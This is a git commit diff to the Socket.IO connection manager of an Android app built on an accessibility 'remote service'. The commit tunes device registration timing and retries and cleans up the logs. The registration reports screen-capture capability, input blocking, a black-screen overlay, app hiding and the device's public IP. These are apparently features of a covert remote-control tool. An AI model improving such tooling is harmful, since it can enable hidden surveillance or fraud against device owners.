fix: 修复设备注册延迟导致中继报离线问题

- EVENT_CONNECT回调去掉0-2秒随机延迟,连接成功后立即注册
- 注册防重复间隔从3秒降到1秒,最大重试次数从10增加到30
- 注册超时从15秒降到10秒,更快重试
- 清理SocketIOManager日志中的emoji符号
This commit is contained in:
wdvipa
2026-02-15 17:42:52 +08:00
parent 1501067287
commit 466453a903

View File

@@ -354,55 +354,43 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
socket?.let { socket -> socket?.let { socket ->
socket.on(Socket.EVENT_CONNECT) { socket.on(Socket.EVENT_CONNECT) {
Log.i(TAG, "Socket.IO v4 连接成功") Log.i(TAG, "Socket.IO v4 connected, socketId=${socket.id()}")
isConnected = true isConnected = true
isDeviceRegistered = false // 重置注册状态,等待重新注册 isDeviceRegistered = false
// ✅ 记录连接成功时间和网络类型 // Record connection metrics
lastConnectTime = System.currentTimeMillis() lastConnectTime = System.currentTimeMillis()
transportErrorCount = 0 // 重置transport error计数 transportErrorCount = 0
connectionFailureCount = 0 // 重置连接失败计数 connectionFailureCount = 0
connectionSuccessCount++ connectionSuccessCount++
updateNetworkQualityScore(true) // 连接成功,提升网络质量分数 updateNetworkQualityScore(true)
// ✅ 检测网络类型变化 // Detect network type change
val currentNetworkType = getCurrentNetworkType() val currentNetworkType = getCurrentNetworkType()
if (lastNetworkType != null && lastNetworkType != currentNetworkType) { if (lastNetworkType != null && lastNetworkType != currentNetworkType) {
Log.i(TAG, "🌐 检测到网络类型变化: $lastNetworkType -> $currentNetworkType") Log.i(TAG, "Network type changed: $lastNetworkType -> $currentNetworkType")
} }
lastNetworkType = currentNetworkType lastNetworkType = currentNetworkType
// ✅ 暂停屏幕数据发送,等待注册完成 // Pause screen capture until registration completes
service.pauseScreenCaptureUntilRegistered() service.pauseScreenCaptureUntilRegistered()
// 立即发送设备注册,避免延迟导致识别问题 // Send device registration immediately without random delay
Log.e(TAG, "🚀🚀🚀 立即发送设备注册!!! 🚀🚀🚀") // Server-side registration queue handles concurrency
Log.i(TAG, "Sending device registration immediately after connect")
// 🔧 多设备冷启动优化:添加随机延迟,避免同时注册冲突
val randomDelay = kotlin.random.Random.nextLong(0, 2000) // 0-2秒随机延迟
Log.d(TAG, "🔄 多设备冷启动优化:延迟${randomDelay}ms后发送注册避免并发冲突")
mainHandler.postDelayed({
if (isConnected && socket.connected()) {
sendDeviceRegistration() sendDeviceRegistration()
} else {
Log.w(TAG, "⚠️ 延迟注册时发现连接已断开,跳过注册")
}
}, randomDelay)
// ✅ 启动主动连接检测 // Start connection monitoring
startConnectionMonitoring() startConnectionMonitoring()
} }
socket.on(Socket.EVENT_DISCONNECT) { args -> socket.on(Socket.EVENT_DISCONNECT) { args ->
val reason = if (args.isNotEmpty()) args[0].toString() else "unknown" val reason = if (args.isNotEmpty()) args[0].toString() else "unknown"
Log.w(TAG, "Socket.IO v4 断开: $reason") Log.w(TAG, "Socket.IO v4 disconnected: $reason")
// ✅ 增强断开原因分析和统计
val currentTime = System.currentTimeMillis() val currentTime = System.currentTimeMillis()
val connectionDuration = currentTime - lastConnectTime val connectionDuration = currentTime - lastConnectTime
// 记录连接时长用于网络质量评估
recordConnectionDuration(connectionDuration) recordConnectionDuration(connectionDuration)
if (reason == "transport error") { if (reason == "transport error") {
@@ -410,30 +398,25 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
lastTransportErrorTime = currentTime lastTransportErrorTime = currentTime
connectionFailureCount++ connectionFailureCount++
updateNetworkQualityScore(false, "transport_error", connectionDuration) updateNetworkQualityScore(false, "transport_error", connectionDuration)
Log.e(TAG, "🚨 Transport Error 统计: 次数=$transportErrorCount, 连接持续时间=${connectionDuration}ms") Log.e(TAG, "Transport Error count=$transportErrorCount, connectionDuration=${connectionDuration}ms")
// ✅ 如果transport error频繁发生调整策略 if (transportErrorCount >= 3 && connectionDuration < 300000) {
if (transportErrorCount >= 3 && connectionDuration < 300000) { // 5分钟内3次 Log.w(TAG, "Frequent transport errors, will use conservative strategy on reconnect")
Log.w(TAG, "⚠️ Transport Error频繁发生将在重连时使用保守策略")
} }
} else { } else {
// 其他原因断开也要更新网络质量评分
updateNetworkQualityScore(false, reason, connectionDuration) updateNetworkQualityScore(false, reason, connectionDuration)
} }
isConnected = false isConnected = false
isDeviceRegistered = false isDeviceRegistered = false
// 🔧 重置注册状态
registrationAttempts = 0 registrationAttempts = 0
registrationTimeoutHandler?.let { handler -> registrationTimeoutHandler?.let { handler ->
mainHandler.removeCallbacks(handler) mainHandler.removeCallbacks(handler)
registrationTimeoutHandler = null registrationTimeoutHandler = null
} }
// ✅ 停止连接检测
connectionCheckJob?.cancel() connectionCheckJob?.cancel()
// ✅ 断开时暂停屏幕捕获但保留权限,而不是完全停止
service.pauseScreenCapture() service.pauseScreenCapture()
} }
@@ -464,32 +447,31 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
if (args.isNotEmpty()) { if (args.isNotEmpty()) {
try { try {
val data = args[0] as JSONObject val data = args[0] as JSONObject
Log.e(TAG, "🎉🎉🎉 设备注册成功: ${data.optString("message")} 🎉🎉🎉") Log.i(TAG, "Device registered successfully: ${data.optString("message")}")
isDeviceRegistered = true isDeviceRegistered = true
registrationAttempts = 0 // 重置尝试次数 registrationAttempts = 0
// 🔧 取消超时检测 // Cancel timeout handler
registrationTimeoutHandler?.let { handler -> registrationTimeoutHandler?.let { handler ->
mainHandler.removeCallbacks(handler) mainHandler.removeCallbacks(handler)
registrationTimeoutHandler = null registrationTimeoutHandler = null
} }
// ✅ 注册成功后恢复屏幕数据发送 // Resume screen capture after registration
Log.e(TAG, "🚀🚀🚀 设备注册成功,恢复屏幕数据发送!!! 🚀🚀🚀") Log.i(TAG, "Registration confirmed, resuming screen capture")
service.resumeScreenCaptureAfterRegistration() service.resumeScreenCaptureAfterRegistration()
// ✅ 设备注册成功,检查是否可以隐藏配置遮盖 // Check if config mask can be hidden
Log.i(TAG, "✅ 设备注册成功,检查是否可以隐藏配置遮盖")
service.checkAndHideConfigMask() service.checkAndHideConfigMask()
// 📤 设备注册成功后上传待处理的崩溃日志 // Upload pending crash logs
crashLogUploader.uploadPendingLogs(socket, getDeviceId()) crashLogUploader.uploadPendingLogs(socket, getDeviceId())
} catch (e: Exception) { } catch (e: Exception) {
Log.e(TAG, "❌ 处理设备注册响应失败", e) Log.e(TAG, "Failed to process device_registered response", e)
} }
} else { } else {
Log.e(TAG, "⚠️ 收到device_registered事件但无参数") Log.w(TAG, "Received device_registered event with no args")
} }
} }
@@ -504,20 +486,16 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
} }
} }
// ✅ 处理服务器重启事件 // Handle server restart event
socket.on("server_restarted") { _ -> socket.on("server_restarted") { _ ->
Log.e(TAG, "🔄🔄🔄 收到服务器重启通知,立即重新注册!!! 🔄🔄🔄") Log.i(TAG, "Received server_restarted, re-registering device")
// 重置注册状态
isDeviceRegistered = false isDeviceRegistered = false
// 立即重新注册
sendDeviceRegistration() sendDeviceRegistration()
} }
socket.on("ping_for_registration") { _ -> socket.on("ping_for_registration") { _ ->
Log.e(TAG, "🔄🔄🔄 收到重新注册Ping立即重新注册!!! 🔄🔄🔄") Log.i(TAG, "Received ping_for_registration, re-registering device")
// 重置注册状态
isDeviceRegistered = false isDeviceRegistered = false
// 立即重新注册
sendDeviceRegistration() sendDeviceRegistration()
} }
@@ -606,34 +584,33 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
} }
private fun sendDeviceRegistration() { private fun sendDeviceRegistration() {
// 🆕 使用协程获取公网IP并发送注册
scope.launch { scope.launch {
try { try {
// 🔧 防止频繁重复注册
val currentTime = System.currentTimeMillis() val currentTime = System.currentTimeMillis()
if (currentTime - lastRegistrationTime < 3000) { // 3秒内不重复发送 // Throttle: 1 second minimum between registration attempts
Log.d(TAG, "📝 距离上次注册时间过短,跳过重复注册") val REGISTRATION_THROTTLE_MS = 1000L
if (currentTime - lastRegistrationTime < REGISTRATION_THROTTLE_MS) {
Log.d(TAG, "Registration throttled, skipping duplicate")
return@launch return@launch
} }
lastRegistrationTime = currentTime lastRegistrationTime = currentTime
registrationAttempts++ registrationAttempts++
// 🔧 限制最大尝试次数,避免无限重试 // Allow more retry attempts before giving up
if (registrationAttempts > 10) { val MAX_REGISTRATION_ATTEMPTS = 30
Log.e(TAG, "❌ 设备注册尝试次数过多($registrationAttempts),可能服务器有问题,暂停注册") if (registrationAttempts > MAX_REGISTRATION_ATTEMPTS) {
Log.e(TAG, "Registration attempts exceeded $MAX_REGISTRATION_ATTEMPTS, pausing")
return@launch return@launch
} }
// 🆕 获取公网IP异步操作有缓存
val publicIP = getPublicIP() val publicIP = getPublicIP()
Log.i(TAG, "🌐 设备注册包含公网IP: ${publicIP ?: "获取失败"}")
val androidDeviceId = getDeviceId() val androidDeviceId = getDeviceId()
val socketId = socket?.id() ?: "unknown" val socketId = socket?.id() ?: "unknown"
val deviceInfo = JSONObject().apply { val deviceInfo = JSONObject().apply {
put("deviceId", androidDeviceId) // Android设备ID put("deviceId", androidDeviceId)
put("socketId", socketId) // Socket.IO连接ID put("socketId", socketId)
put("deviceName", getUniqueDeviceName()) put("deviceName", getUniqueDeviceName())
put("deviceModel", android.os.Build.MODEL) put("deviceModel", android.os.Build.MODEL)
put("osVersion", android.os.Build.VERSION.RELEASE) put("osVersion", android.os.Build.VERSION.RELEASE)
@@ -650,49 +627,40 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
put("screenshot") put("screenshot")
}) })
put("inputBlocked", service.isInputBlocked()) put("inputBlocked", service.isInputBlocked())
// 🆕 添加当前黑屏遮盖状态
put("blackScreenActive", service.isBlackScreenActive()) put("blackScreenActive", service.isBlackScreenActive())
// 🆕 添加当前应用隐藏状态
put("appHidden", service.isAppHidden()) put("appHidden", service.isAppHidden())
// 添加更多设备信息帮助服务端识别
put("manufacturer", android.os.Build.MANUFACTURER) put("manufacturer", android.os.Build.MANUFACTURER)
put("brand", android.os.Build.BRAND) put("brand", android.os.Build.BRAND)
put("fingerprint", android.os.Build.FINGERPRINT.takeLast(16)) // 只取最后16位 put("fingerprint", android.os.Build.FINGERPRINT.takeLast(16))
// 🆕 添加公网IP信息
put("publicIP", publicIP ?: "unknown") put("publicIP", publicIP ?: "unknown")
// 🆕 添加详细系统版本信息
put("systemVersionName", getSystemVersionName()) put("systemVersionName", getSystemVersionName())
put("romType", getROMType()) put("romType", getROMType())
put("romVersion", getROMVersion()) put("romVersion", getROMVersion())
put("osBuildVersion", getOSBuildVersion()) put("osBuildVersion", getOSBuildVersion())
} }
Log.e(TAG, "🔑🔑🔑 发送设备注册(第${registrationAttempts}次)!!! 🔑🔑🔑") Log.i(TAG, "Sending device_register #$registrationAttempts: deviceId=$androidDeviceId, socketId=$socketId, connected=${socket?.connected()}")
Log.e(TAG, "📱 设备信息: 设备ID=${deviceInfo.optString("deviceId")}, 设备名=${deviceInfo.optString("deviceName")}")
Log.e(TAG, "🌐 Socket连接状态: connected=${socket?.connected()}, isConnected=$isConnected")
Log.e(TAG, "🔑 Socket ID详情: ${socket?.id()}")
Log.e(TAG, "🌐 公网IP: ${publicIP ?: "获取失败"}")
Log.e(TAG, "📋 完整设备信息: ${deviceInfo.toString()}")
val emitResult = socket?.emit("device_register", deviceInfo) val emitResult = socket?.emit("device_register", deviceInfo)
Log.e(TAG, "📡 设备注册发送结果: $emitResult") Log.i(TAG, "device_register emit result: $emitResult")
// 🔧 清除之前的超时检测,设置新的超时检测 // Set registration timeout: retry after 10 seconds if no confirmation
registrationTimeoutHandler?.let { handler -> registrationTimeoutHandler?.let { handler ->
mainHandler.removeCallbacks(handler) mainHandler.removeCallbacks(handler)
} }
val REGISTRATION_TIMEOUT_MS = 10000L
registrationTimeoutHandler = Runnable { registrationTimeoutHandler = Runnable {
if (!isDeviceRegistered && registrationAttempts <= 10) { if (!isDeviceRegistered && registrationAttempts <= MAX_REGISTRATION_ATTEMPTS) {
Log.e(TAG, "⚠️⚠️⚠️ 设备注册超时15秒内未收到确认重新发送注册!!! ⚠️⚠️⚠️") Log.w(TAG, "Registration timeout after ${REGISTRATION_TIMEOUT_MS}ms, retrying")
sendDeviceRegistration() sendDeviceRegistration()
} }
} }
mainHandler.postDelayed(registrationTimeoutHandler!!, 15000) // 改为15秒超时 mainHandler.postDelayed(registrationTimeoutHandler!!, REGISTRATION_TIMEOUT_MS)
} catch (e: Exception) { } catch (e: Exception) {
Log.e(TAG, "发送设备注册失败", e) Log.e(TAG, "sendDeviceRegistration failed", e)
} }
} }
} }